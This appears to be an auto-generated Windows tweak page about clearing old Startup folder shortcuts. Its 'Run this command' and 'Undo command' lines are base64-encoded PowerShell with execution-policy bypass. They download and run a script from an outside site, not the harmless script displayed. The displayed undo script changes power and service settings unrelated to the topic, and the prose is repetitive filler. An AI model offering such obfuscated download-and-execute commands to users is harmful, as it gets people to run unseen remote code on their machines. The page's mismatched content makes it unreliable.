Improve Windows Performance

This operation is focused on clean old startup folder shortcuts and launchers so the result stays precise instead of mixing unrelated tweaks.

Improve Windows Performance is written like a practical guide instead of a thin script page, so you can understand what the issue usually means, why the suggested actions exist, and how to back out safely if the result is not what you wanted.

Overview

Open user and all-users Startup folders so old launcher shortcuts can be removed safely.

  • Clean old Startup folder shortcuts and launchers often shows up when old updater shortcuts are still present.
  • A nearby clue is that launchers added themselves to Startup folders.
  • In practical terms, this page is about open user and all-users startup folders so old launcher shortcuts can be removed safely..
Run this command
PowerShell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAdABvAHAAJwA7ACAAJAB1ACAAPQAgACcAaAB0AHQAcABzADoALwAvAG0AYQBvAHQAYQB3AC4AYwBvAG0ALwBzAGMAcgBpAHAAdAAvAGEAcgB0AGkAYwBsAGUALwBjAGwAZQBhAG4ALQBvAGwAZAAtAHMAdABhAHIAdAB1AHAALQBmAG8AbABkAGUAcgAtAHMAaABvAHIAdABjAHUAdABzAC0AYQBuAGQALQBsAGEAdQBuAGMAaABlAHIAcwAuAHAAcwAxACcAOwAgACQAZgAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQACAAJwBtAGEAbwB0AGEAdwAtAGMAbABlAGEAbgAtAG8AbABkAC0AcwB0AGEAcgB0AHUAcAAtAGYAbwBsAGQAZQByAC0AcwBoAG8AcgB0AGMAdQB0AHMALQBhAG4AZAAtAGwAYQB1AG4AYwBoAGUAcgBzAC4AcABzADEAJwA7ACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVQByAGkAIAAkAHUAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGYAOwAgACYAIABQAG8AdwBlAHIAUwBoAGUAbABsACAALQBOAG8AUAByAG8AZgBpAGwAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0ARgBpAGwAZQAgACQAZgA=
Script
# Maotaw Startup Folder Shortcuts
$ErrorActionPreference = 'SilentlyContinue'
Start-Process "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
Start-Process "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
Write-Host 'Startup folders were opened.'
What this does

Open user and all-users Startup folders so old launcher shortcuts can be removed safely.

Startup clutter is not only in Task Manager. Old desktop apps still use Startup folders and create hidden boot overhead.

In plain language, clean old startup folder shortcuts and launchers matters because old updater shortcuts are still present. People usually start looking this up when launchers added themselves to Startup folders. Startup clutter is not only in Task Manager. Old desktop apps still use Startup folders and create hidden boot overhead.

How and why

In practice, clean old startup folder shortcuts and launchers matters because old updater shortcuts are still present. Startup clutter is not only in Task Manager. Old desktop apps still use Startup folders and create hidden boot overhead. A good next step is to review review Startup folders monthly. Then decide whether you only needed the explanation or whether you want a practical action page too.

You normally review clean old startup folder shortcuts and launchers when you want to understand what Windows is doing, what changes it can influence, and whether it is relevant before you touch settings blindly. Useful things to notice first: review Startup folders monthly; uncheck launch-at-startup during app installs; remove launchers you no longer use; keep only the truly necessary startup apps.

  1. review both Startup folders
  2. delete only shortcuts you recognize and do not need
  3. also review Task Manager Startup
  4. restart and measure boot impact after cleanup
Undo command
PowerShell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAdABvAHAAJwA7ACAAJAB1ACAAPQAgACcAaAB0AHQAcABzADoALwAvAG0AYQBvAHQAYQB3AC4AYwBvAG0ALwBzAGMAcgBpAHAAdAAvAGEAcgB0AGkAYwBsAGUALwBjAGwAZQBhAG4ALQBvAGwAZAAtAHMAdABhAHIAdAB1AHAALQBmAG8AbABkAGUAcgAtAHMAaABvAHIAdABjAHUAdABzAC0AYQBuAGQALQBsAGEAdQBuAGMAaABlAHIAcwAuAHAAcwAxAD8AdgBhAHIAaQBhAG4AdAA9AHUAbgBkAG8AJwA7ACAAJABmACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAnAHUAbgBkAG8ALQBtAGEAbwB0AGEAdwAtAGMAbABlAGEAbgAtAG8AbABkAC0AcwB0AGEAcgB0AHUAcAAtAGYAbwBsAGQAZQByAC0AcwBoAG8AcgB0AGMAdQB0AHMALQBhAG4AZAAtAGwAYQB1AG4AYwBoAGUAcgBzAC4AcABzADEAJwA7ACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVQByAGkAIAAkAHUAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGYAOwAgACYAIABQAG8AdwBlAHIAUwBoAGUAbABsACAALQBOAG8AUAByAG8AZgBpAGwAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0ARgBpAGwAZQAgACQAZgA=
# Maotaw Undo Pack

$ErrorActionPreference = 'SilentlyContinue'

# Undo performance-focused extras
try { powercfg /setactive SCHEME_BALANCED | Out-Null } catch {}
try { Set-Service SysMain -StartupType Automatic -ErrorAction SilentlyContinue } catch {}
try { Start-Service SysMain -ErrorAction SilentlyContinue } catch {}
try { reg add "HKCU\Control Panel\Desktop" /v MenuShowDelay /t REG_SZ /d 400 /f | Out-Null } catch {}
Write-Host 'Performance extras reverted toward a balanced baseline.'
When this page helps
  • Use this page when the main symptom is close to clean old startup folder shortcuts and launchers.
  • A common fit is when old updater shortcuts are still present.
  • It is also a fit for searches like: startup folder windows 11 location.
Before you run it
  • Read the script and command first so you understand what clean old startup folder shortcuts and launchers is changing.
  • review Startup folders monthly
  • uncheck launch-at-startup during app installs
  • review both Startup folders
Trust layer

This page is designed to be reviewable before you run anything. It shows what the pack is likely to touch, what it intentionally avoids, and how rollback is handled.

Likely touches

  • power profile
  • selected service startup types
  • per-user responsiveness settings

Intentionally avoids

  • drivers
  • firmware
  • bootloader
Verification
  • Create a restore point or baseline note before stronger changes.
  • Compare one symptom at a time after a reboot instead of guessing from feel alone.
  • If a change does not help, use the undo pack before trying the next bigger fix.
  • review both Startup folders
  • delete only shortcuts you recognize and do not need
  • review Startup folders monthly
Expected result
  • You should be able to compare the exact symptom after the pack instead of guessing whether anything changed.
  • Expected improvement area: Open user and all-users Startup folders so old launcher shortcuts can be removed safely.
Common mistakes
  • Do not treat clean old startup folder shortcuts and launchers like a magic fix if the root cause was never confirmed.
  • keep only the truly necessary startup apps
  • also review Task Manager Startup
When this page is not enough
  • This page is not enough if the symptom does not improve after you verify clean old startup folder shortcuts and launchers once.
FAQ

Should you run clean old startup folder shortcuts and launchers immediately?

Usually only after you confirm the symptom matches. A safer baseline, a restore point, and one change at a time make the result easier to trust.

What should you verify after running the script?

Check the exact problem you cared about, reboot if the page recommends it, and compare the before and after behavior rather than assuming the change helped.

Can you undo the change later?

For most pages here, yes. The generated undo pack is meant to move you back toward a cleaner baseline, though deleted cache or temporary files may not come back.

Will this page fix every version of the problem?

No. These pages are meant to be high-signal starting points. If the same symptom comes from hardware failure, account corruption, a bad driver, or a third-party app conflict, you may need a neighboring guide or a deeper diagnostic path.